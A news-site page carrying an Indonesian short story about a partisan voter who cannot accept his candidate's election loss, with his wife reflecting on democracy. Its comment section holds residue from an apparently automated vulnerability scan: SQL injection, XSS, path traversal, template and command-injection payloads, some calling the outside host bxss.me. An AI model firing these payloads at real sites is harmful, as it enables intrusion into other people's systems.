Cerita Pendek Setelah Pemilu Usai

Publish

6 March 2024

Suara Muhammadiyah

Penulis

1
788
Foto Istimewa

Foto Istimewa

Cerita Pendek Setelah Pemilu Usai

Oleh: Ahsan Jamet Hamidi

Dalam group Whatapps, Tn Ulfi dikenal sebagai pribadi fanatik yang gigih memperjuangkan calon presiden pilihannya. Dalam sehari dia bisa mengirim 3-5 ragam informasi copasan berisi propaganda capres idolannya ke semua group. Semakin lama, perilakunya semakin menyebalkan. Teguran dari anggota group lain tidak digubris, bahkan dibaca pun tidak. Ia tetap teguh dengan sikapnya. 

Setelah waktu pencoblosan usai, perhitungan suara hasil Pilpres di TPS sudah dimulai pukul 12.30. Tn Ulfi duduk di kursi paling dekat dengan akses tempat perhitungan. Raut mukannya tegang, kaca mata tebalnya naik turun mengamati setiap kertas yang dibentangkan oleh Panitia. Kupingnya dibuka lebar-lebar. Hasil perhitungan yang dibacakan oleh Panitia ia tulis dengan rapi di buku kecilnya. Sesekali ia berdiri untuk meyakinkan pandangan matannya karena suara Panitia samar. Ia harus memastikan bahwa suara capres pilihannya tidak dicurangi. 

Perhitungan selesai, Ketua KPPS mengumumkan suara terbanyak diperoleh oleh capres pilihannya. Mendapati hasil perhitungan itu matannya berkaca-kaca, rasannya ingin bersujud syukur, namun sang istri keburu mengajaknya pulang. Dia mengunjungi beberapa TPS di tempat lain, merekap perolehan suara dari puluhan TPS yang didatangi. Pulang ke rumah dengan kegembiraan penuh lantaran capres pilihannya selalu mendapat suara terbanyak. 

Menjelang maghrib, Tn Ulfi menelpon beberapa saudara dan kerabat dari berbagai daerah untuk mengetahui hasil perhitungan di TPS mereka. Dia buru-buru menyudahi pembicaraan ketika mendapati kabar tentang suara capres pilihannya kalah. Perasaannya mulai bimbang. Kabar yang ia peroleh dari teman dan kerabat ternyata mengecewakan. Perolehan suara capres pilihannya mulai tersalip. Ia menolak kenyataan itu.

Pukul 8.00 malam, hasil prakiraan perhitungan suara Pilpres berdasarkan hitung cepat sudah meramaikan jagat pemberitaan. Telingannya samar-samar mendengar berita dari televisi di rumahnya. Isinya sama, mengabarkan bahwa perolehan suara capres pilihannya ternyata terpaut jauh, berbeda dengan hasil rekapan di tangannya. Pikirannya mulai kalap, selera makannya hilang seketika. Sop ikan patin, nasi putih, sambel roa yang tersaji di atas meja tidak ia sentuh. Mata dan telingannya terus tertuju pada siaran TV. Semakin lama semakin menggerus kesabaran. Ia bergegas mengambil remote TV dan mematikan, rasannya lega sejenak.

Setelah irama detak jantungnya mulai teratur, ia kembali duduk di depan meja makan tanpa suara televisi. Naas, layar gadgetnya terus memberi isyarat bahwa ada informasi masuk melalui WA group. Awalnya ia enggan membukanya, namun rasa penasaran itu telah mengalahkan tekadnya. Benar saja, seorang teman lama yang sangat ia benci karena berbeda pilihan capres telah mengirimkan pesan. Dia mengirim copasan hasil perhitungan cepat versi lembaga survey yang memenangkan capres bukan pilihannya. Ia langsung menghapus isinnya. Info copasan itu telah meneror batinnya. Satu group WA bisa ia kendalikan, tetapi group lain tetap mengirimkan informasi serupa. Dia sangat jengkel, rasannya ingin berteriak keras lalu mematikan hand phone. 

Setelah gadget mati selama tiga puluh menit, ada bisikan halus yang membuatnya penasaran. Siapa tahu setelah beberapa menit hasil perhitungan suara berubah. Ia lalu membuka kembali telpon genggamnya. Ada puluhan pesan masuk melalui group WA. Sedihnya, informasinya tetap sama, tentang kemenangan capres non pilihannya. Bahkan lebih lengkap, selisih suaranya semakin jauh. Bak disambar petir, ia langsung mematikan lagi telpon genggam, lalu masuk ke kamar tidur. 

Di atas kasur empuk berseprei baru yang harum di dalam kamar berpendingin udara, Tn Ulfi merebahkan tubuh kurusnya. Ia berusaha memejamkan mata sambil mengusir semua ingatan di kepalannya. Apes, otaknya tidak berkompromi. Pikirannya terus aktif menjelajahi daftar perolehan suara dengan angka-angka hingga titik koma. Matannya sulit terpejam, ia bangkit dan kembali menyalakan gadget sambil bergumam; ”tidak! capres pilihan saya tidak mungkin kalah. Kemana perginnya jutaan suara dari orang-orang yang memilihnya? Ada ribuan penggemar yang selalu hadir di setiap momen kampanye. Dia hanya bisa dikalahkan oleh kecurangan”. Gumamnya. 

Ragam Persepsi

Awalnya, kata kecurangan itu muncul dari khayalan di pikirannya. Ia berkembang menjadi lebih nyata. Keyakinan itu tumbuh subur karena ia membatasi lingkup pergaulannya hanya dengan komunitas dalam satu haluan di media sosial. Lumrah jika keyakinan itu terus menebal tanpa ada keragu-raguan. Dugaan kecurangan itu telah diyakini secara berjamaah bersama rekan-rekan satu komunitasnya. 

Persepsi Tn Ulfi bersama komunitasnya tidak berhenti pada level kecurangan. Mereka mulai kecewa, marah dan semakin banyak prasangka ikutan lain yang tumbuh di dalam pikirannya. Berbeda dengan istri, Ny Ulfiana. Dia lebih tenang, rileks bahkan terkesan tidak peduli dengan hasil perhitungan suara yang dikeluarkan oleh lembaga survey ataupun Komisi Pemilihan Umum. Jika sang suami menganggap bahwa sikapnya adalah wujud jihad dalam berdemokrasi, sang istri memilih lebih tenang. Setelah mencoblos dia akan memantau melalui sumber pemberitaan yang kredibel dan bisa dipertanggungjawabkan. 

Di mata Ny Ulfiana, tidak ada pembeda yang kentara di antara tiga pasangan calon presiden. Mulai dari proses pencalonan di internal partai politik, model dukungan para pemilik modal kepada para kandidat, pelaporan dana kampanye, program kerja yang ditawarkan, karakter personal hingga rekam jejak. ”Sama saja” gumamnya.

Baginnya, tidak ada yang istimewa sehingga layak diperjuangkan dengan serius. Oleh sebab itu, ia pun meyakini bahwa siapapun yang kelak menjadi presiden, dia akan terseok seok menjalankan roda pemerintahan. Alih-alih berjuang untuk memenuhi janji kampanye untuk mensejahterakan rakyat, menegakkan hukum secara adil, memberantas korupsi. Ketika ia bisa mengatasi masalah tuntutan balas budi dari dari orang-orang yang selama ini merasa berjasa tanpa kegaduhan saja, itu sudah hebat. Haqqul yakin tidak akan ada perubahan yang bisa diwujudkan dengan instan. 

Demokrasi yang belum usai

Bagi Ny Ulfiana, sebagai bangsa, kita masih menghadapi tantangan dalam memilih seorang calon kepala pemerintah. Pilihan pada system demokrasi tidak akan mampu menghasilkan pemimpin yang berkualitas baik, ketika prasyarat dasarnya tidak terpenuhi. Demokrasi itu bertumpu pada prinsip dasar yang luhur, seperti; transparansi, akuntabilitas, kebebasan berpendapat dan partisipasi aktif dari semua pihak untuk melakukan kontrol pada kekuasaan. Salah satu pilar penyangga demokrasi adalah partai politik. Melalui lembaga kepartaian inilah pendidikan politik warga dilakukan, sehingga mereka bisa menyampaikan aspirasi, suara kritis dan memilih pemimpin secara merdeka. 

Idealnya, partai politik bisa memberi tauladan baik di dalam sistem pengelolaan internal organisasinya. Ia mesti dikelola dengan system yang menganut prinsip dan nilai demokrasi secara utuh. Bagaimana kita bisa mewujudkan hasil pemilihan presiden yang ideal, ketika sistem yang berlaku di internal partai politik itu berlawanan dengan prinsip demokrasi? Lihat, bagaimana budaya pengambilan keputusan di dalam partai politik yang didirikan, dimodali dan “dimiliki” secara tunggal oleh satu orang?

Di dalam sistem pemilihan yang menganut azas demokrasi, seorang calon kepala pemerintah akan dipilih warga berdasarkan perolehan suara terbanyak. Jika proses hitung-hitungannya fair, maka pemimpin yang terpilih adalah cermin yang memantulkan suara mayoritas pemilihnya. Ny Ulfiana terus bertanya di dalam hati tentang kualitas para pemilih di akar rumput yang telah menentukan pilihannya. Mereka memilih karena apa? Atas dasar kesadaran akal sehat? Meski ia tetap menghargai hasil akhir dari sebuah proses pemilihan. 

Sementara itu, Tn Ulfi terus gelisah. Semakin hari dia merasa semakin sendirian. Anak-anak sibuk dengan urusan masing-masing. Rekan-rekan dekat sesama pensiunan yang bergabung di dalam group WA menjauh. Setiap informasi copasan yang ia kirimkan ke group WA tidak ada yang menanggapi, bahkan sekedar memberi emoticon. Dalam urusan domestic, ia telah memilih kamar tidur yang terpisah dengan istrinya. Perbedangan sikap dan pandangan dengan istri telah menimbulkan perselisihan yang sulit dikompromikan. 

Kualitas tidur dan makannya mulai terganggu. Sementara intensitas minum kopi, makan cemilan dan merokok sebagai kompensasi atas kekecewaannya terus meningkat. Gerak badan, olah raga yang seharusnya bisa mengeluarkan aura stress dari pikirannya justru ia jauhi. Walhasil, kondisi kesehatannya menurun. Ia harus dirawat di rumah sakit untuk beberapa saat. Nasehat anak lelakinya tidak ia gubris. “Kamu ini selalu berpihak kepada mama”. Keluhnya. 

Tn Ulfi harus menyerah oleh tindakan tegas anak gadis yang menyita gadgetnya. Ia memberi pesan singkat; 

”ketika sakit, apakah calon presiden idola papa peduli? Mengirim salam atau sekedar doa untuk kesembuhan? Apakah para dokter dan perawat yang melayani pengobatan papa di rumah sakit itu juga harus berada dalam satu pilihan capres dengan papa? Tidak !

Tidak ada bantahan yang perlu dijawab. Air matannya tumpah membasahi pipi yang mulai mengeriput. Ia berusaha ikhlas melupakan perjuangan yang ternyata sia-sia. 


Komentar

pHqghUme

1

pHqghUme

1

pHqghUme

response.write(9857601*9556249)

pHqghUme

JOR0YvSW

pHqghUme

'+response.write(9857601*9556249)+'

pHqghUme

1%0abcc:009247.14963-54071.14963.60be6.19800.2@bxss.me

pHqghUme

"+response.write(9857601*9556249)+"

pHqghUme

to@example.com>%0d%0abcc:009247.14963-54072.14963.60be6.19800.2@bxss.me

pHqghUme

1

pHqghUme

${9999124+10000325}

pHqghUme

1<esi:include src="http://bxss.me/rpb.png"/>

pHqghUme

../../../../../../../../../../../../../../etc/passwd

pHqghUme

1&n971989=v907287

pHqghUme

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

pHqghUme

../../../../../../../../../../../../../../windows/win.ini

pHqghUme

)

pHqghUme

echo crvdsv$()\ zbgfoi\nz^xyu||a #' &echo crvdsv$()\ zbgfoi\nz^xyu||a #|" &echo crvdsv$()\ zbgfoi\nz^xyu||a #

pHqghUme

!(()&&!|*|*|

pHqghUme

&echo yhtdkh$()\ zezavo\nz^xyu||a #' &echo yhtdkh$()\ zezavo\nz^xyu||a #|" &echo yhtdkh$()\ zezavo\nz^xyu||a #

pHqghUme

|echo cfuqny$()\ fvojra\nz^xyu||a #' |echo cfuqny$()\ fvojra\nz^xyu||a #|" |echo cfuqny$()\ fvojra\nz^xyu||a #

pHqghUme

'.gethostbyname(lc('hitmm'.'qzhpkimvad995.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(80).chr(120).chr(76).'

pHqghUme

(nslookup hitowuoewpavx08525.bxss.me||perl -e "gethostbyname('hitowuoewpavx08525.bxss.me')")

pHqghUme

".gethostbyname(lc("hitci"."vnqqrtvm092f5.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(72).chr(102).chr(67)."

pHqghUme

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

pHqghUme

^(#$!@#$)(()))******

pHqghUme

1

pHqghUme

1some_inexistent_file_with_long_name%00.jpg

pHqghUme

1

pHqghUme

Http://bxss.me/t/fit.txt

pHqghUme

$(nslookup hitdrolazgsicfa27b.bxss.me||perl -e "gethostbyname('hitdrolazgsicfa27b.bxss.me')")

pHqghUme

http://bxss.me/t/fit.txt%3F.jpg

pHqghUme

/etc/shells

pHqghUme

HttP://bxss.me/t/xss.html?%00

pHqghUme

../1

pHqghUme

"+"A".concat(70-3).concat(22*4).concat(118).concat(77).concat(102).concat(88)+(require"socket" Socket.gethostbyname("hitwe"+"zgucuxbf067c3.bxss.me.")[3].to_s)+"

pHqghUme

c:/windows/win.ini

pHqghUme

bxss.me/t/xss.html?%00

pHqghUme

bxss.me

pHqghUme

&(nslookup hitiymvunxtrv0b05a.bxss.me||perl -e "gethostbyname('hitiymvunxtrv0b05a.bxss.me')")&'\"`0&(nslookup hitiymvunxtrv0b05a.bxss.me||perl -e "gethostbyname('hitiymvunxtrv0b05a.bxss.me')")&`'

pHqghUme

'+'A'.concat(70-3).concat(22*4).concat(111).concat(76).concat(112).concat(75)+(require'socket' Socket.gethostbyname('hitmc'+'oezeiyya3a376.bxss.me.')[3].to_s)+'

pHqghUme

/xfs.bxss.me

pHqghUme

|(nslookup hitzohounkqwh3be4f.bxss.me||perl -e "gethostbyname('hitzohounkqwh3be4f.bxss.me')")

pHqghUme

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

pHqghUme

';print(md5(31337));$a='

pHqghUme

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

pHqghUme

`(nslookup hitcnfcqcqmom45afb.bxss.me||perl -e "gethostbyname('hitcnfcqcqmom45afb.bxss.me')")`

pHqghUme

";print(md5(31337));$a="

pHqghUme

1'"()&%<acx><ScRiPt >T3F1(9609)</ScRiPt>

pHqghUme

'"

pHqghUme

${@print(md5(31337))}

pHqghUme

${@print(md5(31337))}\

pHqghUme

<!--

pHqghUme

'.print(md5(31337)).'

pHqghUme

'"()&%<acx><ScRiPt >T3F1(9972)</ScRiPt>

pHqghUme

19733475

pHqghUme

1DD3s8rVhxO

pHqghUme

1

pHqghUme

1

pHqghUme

1

pHqghUme

VN3O70bw

pHqghUme

-1 OR 2+258-258-1=0+0+0+1 --

pHqghUme

-1 OR 2+315-315-1=0+0+0+1

pHqghUme

-1' OR 2+289-289-1=0+0+0+1 --

pHqghUme

-1' OR 2+872-872-1=0+0+0+1 or 'Smpwi4ue'='

pHqghUme

-1" OR 2+39-39-1=0+0+0+1 --

pHqghUme

if(now()=sysdate(),sleep(15),0)

pHqghUme

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme

-1; waitfor delay '0:0:15' --

pHqghUme

-1); waitfor delay '0:0:15' --

pHqghUme

1 waitfor delay '0:0:15' --

pHqghUme

HHtZTGKk'; waitfor delay '0:0:15' --

pHqghUme

-5 OR 483=(SELECT 483 FROM PG_SLEEP(15))--

pHqghUme

-5) OR 757=(SELECT 757 FROM PG_SLEEP(15))--

pHqghUme

-1)) OR 964=(SELECT 964 FROM PG_SLEEP(15))--

pHqghUme

BGW13Z7n' OR 505=(SELECT 505 FROM PG_SLEEP(15))--

pHqghUme

REeQf6RF') OR 294=(SELECT 294 FROM PG_SLEEP(15))--

pHqghUme

0IfCOKes')) OR 795=(SELECT 795 FROM PG_SLEEP(15))--

pHqghUme

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme

1'"

pHqghUme

@@ZXXqn

pHqghUme

555

pHqghUme

1iY5qRC8tO

pHqghUme

555

pHqghUme

555 bcc:009247.14963-252253.14963.a1060.19800.2@bxss.me

pHqghUme

ByGFVVbD

pHqghUme

555<esi:include src="http://bxss.me/rpb.png"/>

pHqghUme

response.write(9941745*9852635)

pHqghUme

${10000174+9999673}

pHqghUme

'+response.write(9941745*9852635)+'

pHqghUme

to@example.com> bcc:009247.14963-252254.14963.a1060.19800.2@bxss.me

pHqghUme

"+response.write(9941745*9852635)+"

pHqghUme

555&n902031=v913355

pHqghUme

'.gethostbyname(lc('hityx'.'gxhyhjki28a2d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(75).chr(122).chr(86).'

pHqghUme

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

pHqghUme

"+"A".concat(70-3).concat(22*4).concat(98).concat(74).concat(120).concat(74)+(require"socket" Socket.gethostbyname("hitrn"+"ldghkfzcbe078.bxss.me.")[3].to_s)+"

pHqghUme

../../../../../../../../../../../../../../etc/passwd

pHqghUme

/xfs.bxss.me

pHqghUme

../../../../../../../../../../../../../../windows/win.ini

pHqghUme

HttP://bxss.me/t/xss.html?%00

pHqghUme

'+'A'.concat(70-3).concat(22*4).concat(101).concat(87).concat(102).concat(76)+(require'socket' Socket.gethostbyname('hitqe'+'wyuckbpe6957f.bxss.me.')[3].to_s)+'

pHqghUme

555

pHqghUme

'"()

pHqghUme

../555

pHqghUme

bxss.me/t/xss.html?%00

pHqghUme

'"

pHqghUme

)

pHqghUme

!(()&&!|*|*|

pHqghUme

".gethostbyname(lc("hitnm"."obshkiakead3b.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(71).chr(114).chr(81)."

pHqghUme

555

pHqghUme

<!--

pHqghUme

^(#$!@#$)(()))******

pHqghUme

cerita-pendek-setelah-pemilu-usai

pHqghUme

cerita-pendek-setelah-pemilu-usai

pHqghUme

555'"()&%<acx><ScRiPt >IVR4(9770)</ScRiPt>

pHqghUme

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

pHqghUme

echo pcprzx$()\ mmxcal\nz^xyu||a #' &echo pcprzx$()\ mmxcal\nz^xyu||a #|" &echo pcprzx$()\ mmxcal\nz^xyu||a #

pHqghUme

';print(md5(31337));$a='

pHqghUme

cerita-pendek-setelah-pemilu-usai/.

pHqghUme

&echo ttjkyd$()\ gedlpg\nz^xyu||a #' &echo ttjkyd$()\ gedlpg\nz^xyu||a #|" &echo ttjkyd$()\ gedlpg\nz^xyu||a #

pHqghUme

";print(md5(31337));$a="

pHqghUme

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

pHqghUme

|echo tifwyy$()\ amvyrn\nz^xyu||a #' |echo tifwyy$()\ amvyrn\nz^xyu||a #|" |echo tifwyy$()\ amvyrn\nz^xyu||a #

pHqghUme

'"()&%<acx><ScRiPt >IVR4(9560)</ScRiPt>

pHqghUme

(nslookup hitonypkwjzly2ed47.bxss.me||perl -e "gethostbyname('hitonypkwjzly2ed47.bxss.me')")

pHqghUme

${@print(md5(31337))}

pHqghUme

$(nslookup hitigdsxjpamkb2ce2.bxss.me||perl -e "gethostbyname('hitigdsxjpamkb2ce2.bxss.me')")

pHqghUme

1some_inexistent_file_with_long_name.jpg

pHqghUme

Http://bxss.me/t/fit.txt

pHqghUme

&(nslookup hitsyqmbcivffeac5d.bxss.me||perl -e "gethostbyname('hitsyqmbcivffeac5d.bxss.me')")&'\"`0&(nslookup hitsyqmbcivffeac5d.bxss.me||perl -e "gethostbyname('hitsyqmbcivffeac5d.bxss.me')")&`'

pHqghUme

${@print(md5(31337))}\

pHqghUme

http://bxss.me/t/fit.txt?.jpg

pHqghUme

'.print(md5(31337)).'

pHqghUme

/etc/shells

pHqghUme

|(nslookup hittsxdxuwabo241a4.bxss.me||perl -e "gethostbyname('hittsxdxuwabo241a4.bxss.me')")

pHqghUme

c:/windows/win.ini

pHqghUme

bxss.me

pHqghUme

`(nslookup hityyrafklzby23594.bxss.me||perl -e "gethostbyname('hityyrafklzby23594.bxss.me')")`

pHqghUme

5559659018

pHqghUme

acu2514<s1﹥s2ʺs3ʹuca2514

pHqghUme

555

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

acu9241<s1﹥s2ʺs3ʹuca9241

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

5559075"();}]9405

pHqghUme

%35%35%35%39%39%39%34%22%28%29%3B%7D%5D%39%35%35%35

pHqghUme

555</script><script>IVR4(9195)</script>

pHqghUme

555

pHqghUme

555

pHqghUme

4MAKFpod

pHqghUme

-1 OR 2+235-235-1=0+0+0+1 --

pHqghUme

-1 OR 2+333-333-1=0+0+0+1

pHqghUme

-1' OR 2+305-305-1=0+0+0+1 --

pHqghUme

-1' OR 2+982-982-1=0+0+0+1 or 'BmOQiXKm'='

pHqghUme

-1" OR 2+287-287-1=0+0+0+1 --

pHqghUme

if(now()=sysdate(),sleep(15),0)

pHqghUme

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme

-1; waitfor delay '0:0:15' --

pHqghUme

-1); waitfor delay '0:0:15' --

pHqghUme

1 waitfor delay '0:0:15' --

pHqghUme

YrHl8W3V'; waitfor delay '0:0:15' --

pHqghUme

-5 OR 380=(SELECT 380 FROM PG_SLEEP(15))--

pHqghUme

-5) OR 481=(SELECT 481 FROM PG_SLEEP(15))--

pHqghUme

-1)) OR 119=(SELECT 119 FROM PG_SLEEP(15))--

pHqghUme

uRbF21Le' OR 524=(SELECT 524 FROM PG_SLEEP(15))--

pHqghUme

jHiOlCOQ') OR 17=(SELECT 17 FROM PG_SLEEP(15))--

pHqghUme

wQof5fms')) OR 386=(SELECT 386 FROM PG_SLEEP(15))--

pHqghUme

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme

1'"

pHqghUme

@@2n2Ek

pHqghUme

555

pHqghUme

1

Berita Lainnya

Berita Terkait

Tentang Politik, Pemerintahan, Partai, Dll

Humaniora

Oleh: Ahmad Azharuddin Menemukan kedamaian di dalam hati merupakan sebuah konsep yang sangat pentin....

Suara Muhammadiyah

20 March 2024

Humaniora

Bangunan masjid itu nampak paling megah di antara bangunan- bangunan rumah di sekitarnya. Apalagi ....

Suara Muhammadiyah

6 October 2023

Humaniora

Legiun 'Ndregil' Selasa pagi 17 Oktober 2023, tersiar kabar duka wafatnya tokoh sepuh Muhammadiyah ....

Suara Muhammadiyah

23 October 2023

Humaniora

PAK RUSTAMADJI: Visio dan Lompatan-lompatan UNIMUDA Masjid Salman Al-Farisi Unimuda-Sorong, Jumat 1....

Suara Muhammadiyah

25 November 2023

Humaniora

Cerpen Ulfatin Ch Langit masih seperti dulu. Burung-burung masih berkicau merdu. Bunga pukul empat....

Suara Muhammadiyah

19 January 2024

Tentang

© Copyright . Suara Muhammadiyah